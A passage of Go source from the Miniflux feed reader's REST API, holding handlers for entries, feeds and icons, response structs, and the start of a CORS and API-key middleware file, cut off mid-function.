{\n\t\tresponse.JSONBadRequest(w, r, errors.New(\"invalid entry ID\"))\n\t\treturn\n\t}\n\n\tbuilder := h.store.NewEntryQueryBuilder(request.UserID(r))\n\tbuilder.WithFeedID(feedID)\n\tbuilder.WithEntryID(entryID)\n\tbuilder.WithoutStatus(model.EntryStatusRemoved)\n\n\th.getEntryFromBuilder(w, r, builder)\n}\n\nfunc (h *handler) getCategoryEntryHandler(w http.ResponseWriter, r *http.Request) {\n\tcategoryID := request.RouteInt64Param(r, \"categoryID\")\n\tif categoryID == 0 {\n\t\tresponse.JSONBadRequest(w, r, errors.New(\"invalid category ID\"))\n\t\treturn\n\t}\n\n\tentryID := request.RouteInt64Param(r, \"entryID\")\n\tif entryID == 0 {\n\t\tresponse.JSONBadRequest(w, r, errors.New(\"invalid entry ID\"))\n\t\treturn\n\t}\n\n\tbuilder := h.store.NewEntryQueryBuilder(request.UserID(r))\n\tbuilder.WithCategoryID(categoryID)\n\tbuilder.WithEntryID(entryID)\n\tbuilder.WithoutStatus(model.EntryStatusRemoved)\n\n\th.getEntryFromBuilder(w, r, builder)\n}\n\nfunc (h *handler) getEntryHandler(w http.ResponseWriter, r *http.Request) {\n\tentryID := request.RouteInt64Param(r, \"entryID\")\n\tif entryID == 0 {\n\t\tresponse.JSONBadRequest(w, r, errors.New(\"invalid entry ID\"))\n\t\treturn\n\t}\n\n\tbuilder := h.store.NewEntryQueryBuilder(request.UserID(r))\n\tbuilder.WithEntryID(entryID)\n\tbuilder.WithoutStatus(model.EntryStatusRemoved)\n\n\th.getEntryFromBuilder(w, r, builder)\n}\n\nfunc (h *handler) getFeedEntriesHandler(w http.ResponseWriter, r *http.Request) {\n\tfeedID := request.RouteInt64Param(r, \"feedID\")\n\tif feedID == 0 {\n\t\tresponse.JSONBadRequest(w, r, errors.New(\"invalid feed ID\"))\n\t\treturn\n\t}\n\n\th.findEntries(w, r, feedID, 0)\n}\n\nfunc (h *handler) getCategoryEntriesHandler(w http.ResponseWriter, r *http.Request) {\n\tcategoryID := request.RouteInt64Param(r, \"categoryID\")\n\tif categoryID == 0 {\n\t\tresponse.JSONBadRequest(w, r, errors.New(\"invalid category ID\"))\n\t\treturn\n\t}\n\th.findEntries(w, r, 0, categoryID)\n}\n\nfunc (h *handler) getEntriesHandler(w http.ResponseWriter, r *http.Request) {\n\th.findEntries(w, r, 0, 0)\n}\n\nfunc (h *handler) findEntries(w http.ResponseWriter, r *http.Request, feedID int64, categoryID int64) {\n\tstatuses := request.QueryStringParamList(r, \"status\")\n\tfor _, status := range statuses {\n\t\tif err := validator.ValidateEntryStatus(status); err != nil {\n\t\t\tresponse.JSONBadRequest(w, r, err)\n\t\t\treturn\n\t\t}\n\t}\n\n\torder := request.QueryStringParam(r, \"order\", model.DefaultSortingOrder)\n\tif err := validator.ValidateEntryOrder(order); err != nil {\n\t\tresponse.JSONBadRequest(w, r, err)\n\t\treturn\n\t}\n\n\tdirection := request.QueryStringParam(r, \"direction\", model.DefaultSortingDirection)\n\tif err := validator.ValidateDirection(direction); err != nil {\n\t\tresponse.JSONBadRequest(w, r, err)\n\t\treturn\n\t}\n\n\tlimit := request.QueryIntParam(r, \"limit\", 100)\n\toffset := request.QueryIntParam(r, \"offset\", 0)\n\tif err := validator.ValidateRange(offset, limit); err != nil {\n\t\tresponse.JSONBadRequest(w, r, err)\n\t\treturn\n\t}\n\n\tuserID := request.UserID(r)\n\tcategoryID = request.QueryInt64Param(r, \"category_id\", categoryID)\n\tif categoryID > 0 && !h.store.CategoryIDExists(userID, categoryID) {\n\t\tresponse.JSONBadRequest(w, r, errors.New(\"invalid category ID\"))\n\t\treturn\n\t}\n\n\tfeedID = request.QueryInt64Param(r, \"feed_id\", feedID)\n\tif feedID > 0 && !h.store.FeedExists(userID, feedID) {\n\t\tresponse.JSONBadRequest(w, r, errors.New(\"invalid feed ID\"))\n\t\treturn\n\t}\n\n\ttags := request.QueryStringParamList(r, \"tags\")\n\n\tbuilder := h.store.NewEntryQueryBuilder(userID)\n\tbuilder.WithFeedID(feedID)\n\tbuilder.WithCategoryID(categoryID)\n\tbuilder.WithStatuses(statuses)\n\tbuilder.WithSorting(order, direction)\n\tbuilder.WithOffset(offset)\n\tbuilder.WithLimit(limit)\n\tbuilder.WithTags(tags)\n\tbuilder.WithEnclosures()\n\tbuilder.WithoutStatus(model.EntryStatusRemoved)\n\n\tif request.HasQueryParam(r, \"globally_visible\") {\n\t\tgloballyVisible := request.QueryBoolParam(r, \"globally_visible\", true)\n\n\t\tif globallyVisible {\n\t\t\tbuilder.WithGloballyVisible()\n\t\t}\n\t}\n\n\tconfigureFilters(builder, r)\n\n\tentries, err := builder.GetEntries()\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tcount, err := builder.CountEntries()\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tfor i := range entries {\n\t\tentries[i].Content = mediaproxy.RewriteDocumentWithAbsoluteProxyURL(entries[i].Content)\n\t}\n\n\tresponse.JSON(w, r, &entriesResponse{Total: count, Entries: entries})\n}\n\nfunc (h *handler) setEntryStatusHandler(w http.ResponseWriter, r *http.Request) {\n\tvar entriesStatusUpdateRequest model.EntriesStatusUpdateRequest\n\tif err := json_parser.NewDecoder(r.Body).Decode(&entriesStatusUpdateRequest); err != nil {\n\t\tresponse.JSONBadRequest(w, r, err)\n\t\treturn\n\t}\n\n\tif err := validator.ValidateEntriesStatusUpdateRequest(&entriesStatusUpdateRequest); err != nil {\n\t\tresponse.JSONBadRequest(w, r, err)\n\t\treturn\n\t}\n\n\tif err := h.store.SetEntriesStatus(request.UserID(r), entriesStatusUpdateRequest.EntryIDs, entriesStatusUpdateRequest.Status); err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tresponse.NoContent(w, r)\n}\n\nfunc (h *handler) toggleStarredHandler(w http.ResponseWriter, r *http.Request) {\n\tentryID := request.RouteInt64Param(r, \"entryID\")\n\tif entryID == 0 {\n\t\tresponse.JSONBadRequest(w, r, errors.New(\"invalid entry ID\"))\n\t\treturn\n\t}\n\n\tif err := h.store.ToggleStarred(request.UserID(r), entryID); err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tresponse.NoContent(w, r)\n}\n\nfunc (h *handler) saveEntryHandler(w http.ResponseWriter, r *http.Request) {\n\tentryID := request.RouteInt64Param(r, \"entryID\")\n\tif entryID == 0 {\n\t\tresponse.JSONBadRequest(w, r, errors.New(\"invalid entry ID\"))\n\t\treturn\n\t}\n\n\tbuilder := h.store.NewEntryQueryBuilder(request.UserID(r))\n\tbuilder.WithEntryID(entryID)\n\tbuilder.WithoutStatus(model.EntryStatusRemoved)\n\n\tif !h.store.HasSaveEntry(request.UserID(r)) {\n\t\tresponse.JSONBadRequest(w, r, errors.New(\"no third-party integration enabled\"))\n\t\treturn\n\t}\n\n\tentry, err := builder.GetEntry()\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif entry == nil {\n\t\tresponse.JSONNotFound(w, r)\n\t\treturn\n\t}\n\n\tsettings, err := h.store.Integration(request.UserID(r))\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tgo integration.SendEntry(entry, settings)\n\n\tresponse.JSONAccepted(w, r)\n}\n\nfunc (h *handler) updateEntryHandler(w http.ResponseWriter, r *http.Request) {\n\tvar entryUpdateRequest model.EntryUpdateRequest\n\tif err := json_parser.NewDecoder(r.Body).Decode(&entryUpdateRequest); err != nil {\n\t\tresponse.JSONBadRequest(w, r, err)\n\t\treturn\n\t}\n\n\tif err := validator.ValidateEntryModification(&entryUpdateRequest); err != nil {\n\t\tresponse.JSONBadRequest(w, r, err)\n\t\treturn\n\t}\n\n\tentryID := request.RouteInt64Param(r, \"entryID\")\n\tif entryID == 0 {\n\t\tresponse.JSONBadRequest(w, r, errors.New(\"invalid entry ID\"))\n\t\treturn\n\t}\n\n\tloggedUserID := request.UserID(r)\n\tentryBuilder := h.store.NewEntryQueryBuilder(loggedUserID)\n\tentryBuilder.WithEntryID(entryID)\n\tentryBuilder.WithoutStatus(model.EntryStatusRemoved)\n\n\tentry, err := entryBuilder.GetEntry()\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif entry == nil {\n\t\tresponse.JSONNotFound(w, r)\n\t\treturn\n\t}\n\n\tuser, err := h.store.UserByID(loggedUserID)\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif user == nil {\n\t\tresponse.JSONNotFound(w, r)\n\t\treturn\n\t}\n\n\tif entryUpdateRequest.Content != nil {\n\t\tsanitizedContent := sanitizer.SanitizeHTML(entry.URL, *entryUpdateRequest.Content, &sanitizer.SanitizerOptions{OpenLinksInNewTab: user.OpenExternalLinksInNewTab})\n\t\tentryUpdateRequest.Content = &sanitizedContent\n\t}\n\n\tentryUpdateRequest.Patch(entry)\n\tif user.ShowReadingTime {\n\t\tentry.ReadingTime = readingtime.EstimateReadingTime(entry.Content, user.DefaultReadingSpeed, user.CJKReadingSpeed)\n\t}\n\n\tif err := h.store.UpdateEntryTitleAndContent(entry); err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tresponse.JSONCreated(w, r, entry)\n}\n\nfunc (h *handler) importFeedEntryHandler(w http.ResponseWriter, r *http.Request) {\n\tuserID := request.UserID(r)\n\n\tfeedID := request.RouteInt64Param(r, \"feedID\")\n\tif feedID <= 0 {\n\t\tresponse.JSONBadRequest(w, r, errors.New(\"invalid feed ID\"))\n\t\treturn\n\t}\n\n\tif !h.store.FeedExists(userID, feedID) {\n\t\tresponse.JSONBadRequest(w, r, errors.New(\"feed does not exist\"))\n\t\treturn\n\t}\n\n\tvar importRequest entryImportRequest\n\tif err := json_parser.NewDecoder(r.Body).Decode(&importRequest); err != nil {\n\t\tresponse.JSONBadRequest(w, r, err)\n\t\treturn\n\t}\n\n\tif importRequest.URL == \"\" {\n\t\tresponse.JSONBadRequest(w, r, errors.New(\"url is required\"))\n\t\treturn\n\t}\n\n\tif importRequest.Status == \"\" {\n\t\timportRequest.Status = model.EntryStatusRead\n\t}\n\n\tif err := validator.ValidateEntryStatus(importRequest.Status); err != nil {\n\t\tresponse.JSONBadRequest(w, r, err)\n\t\treturn\n\t}\n\n\tentry := model.NewEntry()\n\tentry.URL = importRequest.URL\n\tentry.CommentsURL = importRequest.CommentsURL\n\tentry.Author = importRequest.Author\n\tentry.Tags = importRequest.Tags\n\n\tif importRequest.PublishedAt > 0 {\n\t\tentry.Date = time.Unix(importRequest.PublishedAt, 0).UTC()\n\t} else {\n\t\tentry.Date = time.Now().UTC()\n\t}\n\n\tif importRequest.Title == \"\" {\n\t\tentry.Title = entry.URL\n\t} else {\n\t\tentry.Title = importRequest.Title\n\t}\n\n\thashInput := importRequest.ExternalID\n\tif hashInput == \"\" {\n\t\thashInput = importRequest.URL\n\t}\n\tentry.Hash = crypto.HashFromBytes([]byte(hashInput))\n\n\tuser, err := h.store.UserByID(userID)\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif user == nil {\n\t\tresponse.JSONNotFound(w, r)\n\t\treturn\n\t}\n\n\tif importRequest.Content != \"\" {\n\t\tentry.Content = sanitizer.SanitizeHTML(entry.URL, importRequest.Content, &sanitizer.SanitizerOptions{OpenLinksInNewTab: user.OpenExternalLinksInNewTab})\n\t}\n\n\tif user.ShowReadingTime {\n\t\tentry.ReadingTime = readingtime.EstimateReadingTime(entry.Content, user.DefaultReadingSpeed, user.CJKReadingSpeed)\n\t}\n\n\tcreated, err := h.store.InsertEntryForFeed(userID, feedID, entry)\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif err := h.store.SetEntriesStatus(userID, []int64{entry.ID}, importRequest.Status); err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\tentry.Status = importRequest.Status\n\n\tif importRequest.Starred {\n\t\tif err := h.store.SetEntriesStarredState(userID, []int64{entry.ID}, true); err != nil {\n\t\t\tresponse.JSONServerError(w, r, err)\n\t\t\treturn\n\t\t}\n\t\tentry.Starred = true\n\t}\n\n\tif created {\n\t\tresponse.JSONCreated(w, r, entryIDResponse{ID: entry.ID})\n\t} else {\n\t\tresponse.JSON(w, r, entryIDResponse{ID: entry.ID})\n\t}\n}\n\nfunc (h *handler) fetchContentHandler(w http.ResponseWriter, r *http.Request) {\n\tloggedUserID := request.UserID(r)\n\n\tentryID := request.RouteInt64Param(r, \"entryID\")\n\tif entryID == 0 {\n\t\tresponse.JSONBadRequest(w, r, errors.New(\"invalid entry ID\"))\n\t\treturn\n\t}\n\n\tentryBuilder := h.store.NewEntryQueryBuilder(loggedUserID)\n\tentryBuilder.WithEntryID(entryID)\n\tentryBuilder.WithoutStatus(model.EntryStatusRemoved)\n\n\tentry, err := entryBuilder.GetEntry()\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif entry == nil {\n\t\tresponse.JSONNotFound(w, r)\n\t\treturn\n\t}\n\n\tuser, err := h.store.UserByID(loggedUserID)\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif user == nil {\n\t\tresponse.JSONNotFound(w, r)\n\t\treturn\n\t}\n\n\tfeedBuilder := storage.NewFeedQueryBuilder(h.store, loggedUserID)\n\tfeedBuilder.WithFeedID(entry.FeedID)\n\tfeed, err := feedBuilder.GetFeed()\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif feed == nil {\n\t\tresponse.JSONNotFound(w, r)\n\t\treturn\n\t}\n\n\tif err := processor.ProcessEntryWebPage(feed, entry, user); err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tshouldUpdateContent := request.QueryBoolParam(r, \"update_content\", false)\n\tif shouldUpdateContent {\n\t\tif err := h.store.UpdateEntryTitleAndContent(entry); err != nil {\n\t\t\tresponse.JSONServerError(w, r, err)\n\t\t\treturn\n\t\t}\n\t}\n\n\tresponse.JSON(w, r, entryContentResponse{Content: mediaproxy.RewriteDocumentWithAbsoluteProxyURL(entry.Content), ReadingTime: entry.ReadingTime})\n}\n\nfunc (h *handler) flushHistoryHandler(w http.ResponseWriter, r *http.Request) {\n\tloggedUserID := request.UserID(r)\n\tgo h.store.FlushHistory(loggedUserID)\n\tresponse.JSONAccepted(w, r)\n}\n\nfunc configureFilters(builder *storage.EntryQueryBuilder, r *http.Request) {\n\tif beforeEntryID := request.QueryInt64Param(r, \"before_entry_id\", 0); beforeEntryID > 0 {\n\t\tbuilder.BeforeEntryID(beforeEntryID)\n\t}\n\n\tif afterEntryID := request.QueryInt64Param(r, \"after_entry_id\", 0); afterEntryID > 0 {\n\t\tbuilder.AfterEntryID(afterEntryID)\n\t}\n\n\tif beforePublishedTimestamp := request.QueryInt64Param(r, \"before\", 0); beforePublishedTimestamp > 0 {\n\t\tbuilder.BeforePublishedDate(time.Unix(beforePublishedTimestamp, 0))\n\t}\n\n\tif afterPublishedTimestamp := request.QueryInt64Param(r, \"after\", 0); afterPublishedTimestamp > 0 {\n\t\tbuilder.AfterPublishedDate(time.Unix(afterPublishedTimestamp, 0))\n\t}\n\n\tif beforePublishedTimestamp := request.QueryInt64Param(r, \"published_before\", 0); beforePublishedTimestamp > 0 {\n\t\tbuilder.BeforePublishedDate(time.Unix(beforePublishedTimestamp, 0))\n\t}\n\n\tif afterPublishedTimestamp := request.QueryInt64Param(r, \"published_after\", 0); afterPublishedTimestamp > 0 {\n\t\tbuilder.AfterPublishedDate(time.Unix(afterPublishedTimestamp, 0))\n\t}\n\n\tif beforeChangedTimestamp := request.QueryInt64Param(r, \"changed_before\", 0); beforeChangedTimestamp > 0 {\n\t\tbuilder.BeforeChangedDate(time.Unix(beforeChangedTimestamp, 0))\n\t}\n\n\tif afterChangedTimestamp := request.QueryInt64Param(r, \"changed_after\", 0); afterChangedTimestamp > 0 {\n\t\tbuilder.AfterChangedDate(time.Unix(afterChangedTimestamp, 0))\n\t}\n\n\tif categoryID := request.QueryInt64Param(r, \"category_id\", 0); categoryID > 0 {\n\t\tbuilder.WithCategoryID(categoryID)\n\t}\n\n\tif request.HasQueryParam(r, \"starred\") {\n\t\tstarred, err := strconv.ParseBool(r.URL.Query().Get(\"starred\"))\n\t\tif err == nil {\n\t\t\tbuilder.WithStarred(starred)\n\t\t}\n\t}\n\n\tif searchQuery := request.QueryStringParam(r, \"search\", \"\"); searchQuery != \"\" {\n\t\tbuilder.WithSearchQuery(searchQuery)\n\t}\n}\n"
  },
  {
    "path": "internal/api/feed_handlers.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage api // import \"miniflux.app/v2/internal/api\"\n\nimport (\n\tjson_parser \"encoding/json\"\n\t\"errors\"\n\t\"log/slog\"\n\t\"net/http\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/model\"\n\tfeedHandler \"miniflux.app/v2/internal/reader/handler\"\n\t\"miniflux.app/v2/internal/validator\"\n)\n\nfunc (h *handler) createFeedHandler(w http.ResponseWriter, r *http.Request) {\n\tuserID := request.UserID(r)\n\n\tvar feedCreationRequest model.FeedCreationRequest\n\tif err := json_parser.NewDecoder(r.Body).Decode(&feedCreationRequest); err != nil {\n\t\tresponse.JSONBadRequest(w, r, err)\n\t\treturn\n\t}\n\n\t// Make the feed category optional for clients who don't support categories.\n\tif feedCreationRequest.CategoryID == 0 {\n\t\tcategory, err := h.store.FirstCategory(userID)\n\t\tif err != nil {\n\t\t\tresponse.JSONServerError(w, r, err)\n\t\t\treturn\n\t\t}\n\t\tfeedCreationRequest.CategoryID = category.ID\n\t}\n\n\tif validationErr := validator.ValidateFeedCreation(h.store, userID, &feedCreationRequest); validationErr != nil {\n\t\tresponse.JSONBadRequest(w, r, validationErr.Error())\n\t\treturn\n\t}\n\n\tfeed, localizedError := feedHandler.CreateFeed(h.store, userID, &feedCreationRequest)\n\tif localizedError != nil {\n\t\tresponse.JSONServerError(w, r, localizedError.Error())\n\t\treturn\n\t}\n\n\tresponse.JSONCreated(w, r, &feedCreationResponse{FeedID: feed.ID})\n}\n\nfunc (h *handler) refreshFeedHandler(w http.ResponseWriter, r *http.Request) {\n\tfeedID := request.RouteInt64Param(r, \"feedID\")\n\tif feedID == 0 {\n\t\tresponse.JSONBadRequest(w, r, errors.New(\"invalid feed ID\"))\n\t\treturn\n\t}\n\n\tuserID := request.UserID(r)\n\tif !h.store.FeedExists(userID, feedID) {\n\t\tresponse.JSONNotFound(w, r)\n\t\treturn\n\t}\n\n\tlocalizedError := feedHandler.RefreshFeed(h.store, userID, feedID, false)\n\tif localizedError != nil {\n\t\tresponse.JSONServerError(w, r, localizedError.Error())\n\t\treturn\n\t}\n\n\tresponse.NoContent(w, r)\n}\n\nfunc (h *handler) refreshAllFeedsHandler(w http.ResponseWriter, r *http.Request) {\n\tuserID := request.UserID(r)\n\n\tbatchBuilder := h.store.NewBatchBuilder()\n\tbatchBuilder.WithErrorLimit(config.Opts.PollingParsingErrorLimit())\n\tbatchBuilder.WithoutDisabledFeeds()\n\tbatchBuilder.WithNextCheckExpired()\n\tbatchBuilder.WithUserID(userID)\n\tbatchBuilder.WithLimitPerHost(config.Opts.PollingLimitPerHost())\n\n\tjobs, err := batchBuilder.FetchJobs()\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tslog.Info(\n\t\t\"Triggered a manual refresh of all feeds from the API\",\n\t\tslog.Int64(\"user_id\", userID),\n\t\tslog.Int(\"nb_jobs\", len(jobs)),\n\t)\n\n\tgo h.pool.Push(jobs)\n\n\tresponse.NoContent(w, r)\n}\n\nfunc (h *handler) updateFeedHandler(w http.ResponseWriter, r *http.Request) {\n\tfeedID := request.RouteInt64Param(r, \"feedID\")\n\tif feedID == 0 {\n\t\tresponse.JSONBadRequest(w, r, errors.New(\"invalid feed ID\"))\n\t\treturn\n\t}\n\n\tvar feedModificationRequest model.FeedModificationRequest\n\tif err := json_parser.NewDecoder(r.Body).Decode(&feedModificationRequest); err != nil {\n\t\tresponse.JSONBadRequest(w, r, err)\n\t\treturn\n\t}\n\n\tuserID := request.UserID(r)\n\toriginalFeed, err := h.store.FeedByID(userID, feedID)\n\tif err != nil {\n\t\tresponse.JSONNotFound(w, r)\n\t\treturn\n\t}\n\n\tif originalFeed == nil {\n\t\tresponse.JSONNotFound(w, r)\n\t\treturn\n\t}\n\n\tif validationErr := validator.ValidateFeedModification(h.store, userID, originalFeed.ID, &feedModificationRequest); validationErr != nil {\n\t\tresponse.JSONBadRequest(w, r, validationErr.Error())\n\t\treturn\n\t}\n\n\tfeedModificationRequest.Patch(originalFeed)\n\toriginalFeed.ResetErrorCounter()\n\tif err := h.store.UpdateFeed(originalFeed); err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\toriginalFeed, err = h.store.FeedByID(userID, feedID)\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tresponse.JSONCreated(w, r, originalFeed)\n}\n\nfunc (h *handler) markFeedAsReadHandler(w http.ResponseWriter, r *http.Request) {\n\tuserID := request.UserID(r)\n\n\tfeedID := request.RouteInt64Param(r, \"feedID\")\n\tif feedID == 0 {\n\t\tresponse.JSONBadRequest(w, r, errors.New(\"invalid feed ID\"))\n\t\treturn\n\t}\n\n\tif !h.store.FeedExists(userID, feedID) {\n\t\tresponse.JSONNotFound(w, r)\n\t\treturn\n\t}\n\n\tif err := h.store.MarkFeedAsRead(userID, feedID, time.Now()); err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tresponse.NoContent(w, r)\n}\n\nfunc (h *handler) getCategoryFeedsHandler(w http.ResponseWriter, r *http.Request) {\n\tuserID := request.UserID(r)\n\n\tcategoryID := request.RouteInt64Param(r, \"categoryID\")\n\tif categoryID == 0 {\n\t\tresponse.JSONBadRequest(w, r, errors.New(\"invalid category ID\"))\n\t\treturn\n\t}\n\n\tcategory, err := h.store.Category(userID, categoryID)\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif category == nil {\n\t\tresponse.JSONNotFound(w, r)\n\t\treturn\n\t}\n\n\tfeeds, err := h.store.FeedsByCategoryWithCounters(userID, categoryID)\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tresponse.JSON(w, r, feeds)\n}\n\nfunc (h *handler) getFeedsHandler(w http.ResponseWriter, r *http.Request) {\n\tfeeds, err := h.store.Feeds(request.UserID(r))\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tresponse.JSON(w, r, feeds)\n}\n\nfunc (h *handler) fetchCountersHandler(w http.ResponseWriter, r *http.Request) {\n\tcounters, err := h.store.FetchCounters(request.UserID(r))\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tresponse.JSON(w, r, counters)\n}\n\nfunc (h *handler) getFeedHandler(w http.ResponseWriter, r *http.Request) {\n\tfeedID := request.RouteInt64Param(r, \"feedID\")\n\tif feedID == 0 {\n\t\tresponse.JSONBadRequest(w, r, errors.New(\"invalid feed ID\"))\n\t\treturn\n\t}\n\n\tfeed, err := h.store.FeedByID(request.UserID(r), feedID)\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif feed == nil {\n\t\tresponse.JSONNotFound(w, r)\n\t\treturn\n\t}\n\n\tresponse.JSON(w, r, feed)\n}\n\nfunc (h *handler) removeFeedHandler(w http.ResponseWriter, r *http.Request) {\n\tfeedID := request.RouteInt64Param(r, \"feedID\")\n\tif feedID == 0 {\n\t\tresponse.JSONBadRequest(w, r, errors.New(\"invalid feed ID\"))\n\t\treturn\n\t}\n\n\tuserID := request.UserID(r)\n\tif !h.store.FeedExists(userID, feedID) {\n\t\tresponse.JSONNotFound(w, r)\n\t\treturn\n\t}\n\n\tif err := h.store.RemoveFeed(userID, feedID); err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tresponse.NoContent(w, r)\n}\n"
  },
  {
    "path": "internal/api/icon_handlers.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage api // import \"miniflux.app/v2/internal/api\"\n\nimport (\n\t\"errors\"\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n)\n\nfunc (h *handler) getIconByFeedIDHandler(w http.ResponseWriter, r *http.Request) {\n\tfeedID := request.RouteInt64Param(r, \"feedID\")\n\tif feedID == 0 {\n\t\tresponse.JSONBadRequest(w, r, errors.New(\"invalid feed ID\"))\n\t\treturn\n\t}\n\n\ticon, err := h.store.IconByFeedID(request.UserID(r), feedID)\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif icon == nil {\n\t\tresponse.JSONNotFound(w, r)\n\t\treturn\n\t}\n\n\tresponse.JSON(w, r, &feedIconResponse{\n\t\tID:       icon.ID,\n\t\tMimeType: icon.MimeType,\n\t\tData:     icon.DataURL(),\n\t})\n}\n\nfunc (h *handler) getIconByIconIDHandler(w http.ResponseWriter, r *http.Request) {\n\ticonID := request.RouteInt64Param(r, \"iconID\")\n\tif iconID == 0 {\n\t\tresponse.JSONBadRequest(w, r, errors.New(\"invalid icon ID\"))\n\t\treturn\n\t}\n\n\ticon, err := h.store.IconByID(iconID)\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif icon == nil {\n\t\tresponse.JSONNotFound(w, r)\n\t\treturn\n\t}\n\n\tresponse.JSON(w, r, &feedIconResponse{\n\t\tID:       icon.ID,\n\t\tMimeType: icon.MimeType,\n\t\tData:     icon.DataURL(),\n\t})\n}\n"
  },
  {
    "path": "internal/api/messages.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage api // import \"miniflux.app/v2/internal/api\"\n\nimport (\n\t\"miniflux.app/v2/internal/model\"\n)\n\ntype feedIconResponse struct {\n\tID       int64  `json:\"id\"`\n\tMimeType string `json:\"mime_type\"`\n\tData     string `json:\"data\"`\n}\n\ntype entriesResponse struct {\n\tTotal   int           `json:\"total\"`\n\tEntries model.Entries `json:\"entries\"`\n}\n\ntype integrationsStatusResponse struct {\n\tHasIntegrations bool `json:\"has_integrations\"`\n}\n\ntype entryIDResponse struct {\n\tID int64 `json:\"id\"`\n}\n\ntype entryContentResponse struct {\n\tContent     string `json:\"content\"`\n\tReadingTime int    `json:\"reading_time\"`\n}\n\ntype entryImportRequest struct {\n\tURL         string   `json:\"url\"`\n\tTitle       string   `json:\"title\"`\n\tContent     string   `json:\"content\"`\n\tAuthor      string   `json:\"author\"`\n\tCommentsURL string   `json:\"comments_url\"`\n\tPublishedAt int64    `json:\"published_at\"`\n\tStatus      string   `json:\"status\"`\n\tStarred     bool     `json:\"starred\"`\n\tTags        []string `json:\"tags\"`\n\tExternalID  string   `json:\"external_id\"`\n}\n\ntype feedCreationResponse struct {\n\tFeedID int64 `json:\"feed_id\"`\n}\n\ntype importFeedsResponse struct {\n\tMessage string `json:\"message\"`\n}\n\ntype versionResponse struct {\n\tVersion   string `json:\"version\"`\n\tCommit    string `json:\"commit\"`\n\tBuildDate string `json:\"build_date\"`\n\tGoVersion string `json:\"go_version\"`\n\tCompiler  string `json:\"compiler\"`\n\tArch      string `json:\"arch\"`\n\tOS        string `json:\"os\"`\n}\n"
  },
  {
    "path": "internal/api/middleware.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage api // import \"miniflux.app/v2/internal/api\"\n\nimport (\n\t\"context\"\n\t\"log/slog\"\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/storage\"\n)\n\ntype middleware struct {\n\tstore *storage.Storage\n}\n\nfunc newMiddleware(s *storage.Storage) *middleware {\n\treturn &middleware{s}\n}\nfunc (m *middleware) withCORSHeaders(next http.Handler) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tw.Header().Set(\"Access-Control-Allow-Origin\", \"*\")\n\t\tw.Header().Set(\"Access-Control-Allow-Methods\", \"GET, POST, PUT, DELETE, OPTIONS\")\n\t\tw.Header().Set(\"Access-Control-Allow-Headers\", \"X-Auth-Token, Authorization, Content-Type, Accept\")\n\t\tif r.Method == http.MethodOptions {\n\t\t\tw.Header().Set(\"Access-Control-Max-Age\", \"3600\")\n\t\t\tresponse.NoContent(w, r)\n\t\t\treturn\n\t\t}\n\t\tnext.ServeHTTP(w, r)\n\t})\n}\n\nfunc (m *middleware) validateAPIKeyAuth(next http.Handler) http.Handler {\n\treturn http.HandlerFunc(func(w 